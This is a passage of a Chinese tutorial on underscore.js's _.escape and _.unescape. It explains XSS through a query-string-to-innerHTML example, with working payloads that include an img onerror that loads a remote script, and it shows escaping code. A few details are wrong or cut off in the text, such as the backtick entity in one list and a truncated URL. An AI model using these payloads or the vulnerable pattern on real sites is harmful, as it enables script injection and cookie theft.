underscore 同样提供了 .unescape 函数,功能与 .escape 相反:

  1. _.unescape('Curly, Larry & Moe');
  2. => "Curly, Larry & Moe"

XSS 攻击

可是我们为什么需要转义 HTML 呢?

举个例子,一个个人中心页的地址为:www.example.com/user.html?name=kevin,我们希望从网址中取出用户的名称,然后将其显示在页面中,使用 JavaScript,我们可以这样做:

  1. /**
  2. * 该函数用于取出网址参数
  3. */
  4. function getQueryString(name) {
  5. var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
  6. var r = window.location.search.substr(1).match(reg);
  7. if (r != null) return unescape(r[2]);
  8. return null;
  9. }
  10.  
  11. var name = getQueryString('name');
  12. document.getElementById("username").innerHTML = name;

如果被一个同样懂技术的人发现的话,那么他可能会动点“坏心思”:

比如我把这个页面的地址修改为:www.example.com/user.html?name=<script>alert(1)</script>

就相当于:

  1. document.getElementById("username").innerHTML = '<script>alert(1)</script>';

会有什么效果呢?

结果是什么也没有发生……

这是因为:

千万不要以为这样就安全了……

你把地址改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的话,就相当于:

  1. document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"

此时立刻就弹窗了 1。

也许你会想,不就是弹窗个 1 吗?还能怎么样?能写多少代码?

那我把地址改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="; /> 呢?

就相当于:

  1. document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";

整理下其中 onerror 的代码:

  1. var s = document.createElement("script");
  2. s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
  3. document.body.appendChild(s);

代码中引入了一个第三方的脚本,这样做的事情就多了,从取你的 cookie,发送到黑客自己的服务器,到监听你的输入,到发起 CSRF 攻击,直接以你的身份调用网站的各种接口……

总之,很危险。

为了防止这种情况的发生,我们可以将网址上的值取到后,进行一个特殊处理,再赋值给 DOM 的 innerHTML。

字符实体

在 HTML 中,某些字符是预留的。比如说在 HTML 中不能使用小于号(<)和大于号(>),因为浏览器会误认为它们是标签。

如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities)。

字符实体有两种形式:

  • &entity_name;
  • &#entity_number;
    比如说我们要显示小于号,我们可以这样写:&lt;&#60;

值得一提的是,使用实体名而不是数字的好处是,名称易于记忆。不过坏处是,浏览器也许并不支持所有实体名称(但是对实体数字的支持却很好)。

也许你会好奇,为什么 < 的字符实体是 &#60 呢?这是怎么进行计算的呢?

其实很简单,就是取字符的 unicode 值,以 &# 开头接十进制数字 或者以 &#x开头接十六进制数字。举个例子:

我们可以以 &#60; 或者 &#x3c; 在 HTML 中表示出 <

不信你可以写这样一段 HTML,显示的效果都是 <

  1. <div>&lt;</div>
  2. <div>&#60;</div>
  3. <div>&#x3c;</div>

再举个例子:以字符 '喵' 为例:

  1. var num = '喵'.charCodeAt(0); // 21941
  2. num.toString(10) // '21941'
  3. num.toString(16) // '55b5'

在 HTML 中,我们就可以用 或者 &#x55b5 表示,不过“喵”并不具有实体名。

我们的应对方式就是将取得的值中的特殊字符转为字符实体。

举个例子,当页面地址是 www.example.com/user.html?name=<strong>123</strong>时,我们通过 getQueryString 取得 name 的值:

    如果我们直接:

    1. document.getElementById("username").innerHTML = name;

    如我们所知,使用 innerHTML 会解析内容字符串,并且改变元素的 HMTL 内容,最终,从样式上,我们会看到一个加粗的 123。

    如果我们转义,将 <strong>123</strong> 中的 <> 转为实体字符,即 &lt;strong&gt;123&lt;/strong&gt;,我们再设置 innerHTML,浏览器就不会将其解释为标签,而是一段字符,最终会直接显示 <strong>123</strong>,这样就避免了潜在的危险。

    思考

    那么问题来了,我们具体要转义哪些字符呢?

    想想我们之所以要转义 <> ,是因为浏览器会将其认为是一个标签的开始或结束,所以要转义的字符一定是浏览器会特殊对待的字符,那还有什么字符会被特殊对待的呢?(O_o)??

    & 是一个,因为浏览器会认为 & 是一个字符实体的开始,如果你输入了 &lt;,浏览器会将其解释为 <,但是当 &lt; 是作为用户输入的值时,应该仅仅是显示用户输入的值,而不是将其解释为一个 <

    '" 也要注意,举个例子:

    服务器端渲染的代码为:

    1. function render (input) {
    2. return '<input type="name" value="' + input + '">'
    3. }
    1. <input type="name" value=""> <script>alert(1)</script>">

    结果又是一次 XSS 攻击……

    最后还有一个是反引号 `,在 IE 低版本中(≤ 8),反引号可以用于关闭标签:

    所以我们最终确定的要转义的字符为:&, <, >, ", ', 和 `。转义对应的值为:

    1. < --> &lt;
    2. > --> &gt;
    3. " --> &quot;
    4. ' --> &#x27;
    5. ` --> &#60;

    值得注意的是:单引号和反引号使用是实体数字、而其他使用的是实体名称,这主要是从兼容性的角度考虑的,有的浏览器并不能很好的支持单引号和反引号的实体名称。

    _.escape

    那么具体我们该如何实现转义呢?我们直接看一个简单的实现:

    1. var _ = {};
    2.  
    3. var escapeMap = {
    4. '&': '&amp;',
    5. '<': '&lt;',
    6. '>': '&gt;',
    7. '"': '&quot;',
    8. "'": '&#x27;',
    9. '`': '&#x60;'
    10. };
    11.  
    12. _.escape = function(string) {
    13. var escaper = function(match) {
    14. return escapeMap[match];
    15. };
    16. // 使用非捕获性分组
    17. var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
    18. console.log(source) // (?:&|<|>|"|'|`)
    19. var testRegexp = RegExp(source);
    20. var replaceRegexp = RegExp(source, 'g');
    21.  
    22. string = string == null ? '' : '' + string;
    23. return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    24. }

    实现的思路很简单,构造一个正则表达式,先判断是否能匹配到,如果能匹配到,就执行 replace,根据 escapeMap 将特殊字符进行替换,如果不能匹配,说明不需要转义,直接返回原字符串。

    值得一提的是,我们在代码中打印了构造出的正则表达式为:

    1. (?:&|<|>|"|'|`)

    其中的 ?: 是个什么意思?没有这个 ?: 就不可以匹配吗?我们接着往下看。

    (?:pattern) 表示非捕获分组,即会匹配 pattern 但不获取匹配结果,不进行存储供以后使用。

    我们来看个例子:

    1. function replacer(match, p1, p2, p3) {
    2. // p1,第 1 个括号匹配的字符串 abc
    3. // p2,第 2 个括号匹配的字符串 12345
    4. // p3,第 3 个括号匹配的字符串 #$*%
    5. return [p1, p2, p3].join(' - ');
    6. }
    7. var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%

    现在我们给第一个括号中的表达式加上 ?:,表示第一个括号中的内容不需要储存结果:

    1. function replacer(match, p1, p2) {
    2. // match,表示匹配的子串 abc12345#$*%
    3. // p1,现在匹配的是字符串 12345
    4. // p1,现在匹配的是字符串 #$*%
    5. return [p1, p2].join(' - ');
    6. }
    7. var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%

    _.escape 函数中,即使不使用 ?: 也不会影响匹配结果,只是使用 ?: 性能会更高一点。

    反转义

    我们使用了 _.escape 将指定字符转为字符实体,我们还需要一个方法将字符实体转义回来。

    写法与 _.unescape 类似:

    1. var _ = {};
    2.  
    3. var unescapeMap = {
    4. '&amp;': '&',
    5. '&lt;': '<',
    6. '&gt;': '>',
    7. '&quot;': '"',
    8. '&#x27;': "'",
    9. '&#x60;': '`'
    10. };
    11.  
    12. _.unescape = function(string) {
    13. var escaper = function(match) {
    14. return unescapeMap[match];
    15. };
    16. // 使用非捕获性分组
    17. var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
    18. console.log(source) // (?:&|<|>|"|'|`)
    19. var testRegexp = RegExp(source);
    20. var replaceRegexp = RegExp(source, 'g');
    21.  
    22. string = string == null ? '' : '' + string;
    23. return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    24. }
    25. console.log(_.unescape('Curly, Larry &amp; Moe')) // Curly, Larry & Moe

    抽象

    你会不会觉得 .escape.unescape 的代码实在是太像了,以至于让人感觉很冗余呢?

    那么我们又该如何优化呢?

    我们可以先写一个 _.invert 函数,将 escapeMap 传入的时候,可以得到 unescapeMap,然后我们再根据传入的 map (escapeMap 或者 unescapeMap) 不同,返回不同的函数。

    实现的方式很简单,直接看代码:

    underscore 系列目录地址:。

    underscore 系列预计写八篇左右,重点介绍 underscore 中的代码架构、链式调用、内部函数、模板引擎等内容,旨在帮助大家阅读源码,以及写出自己的 undercore。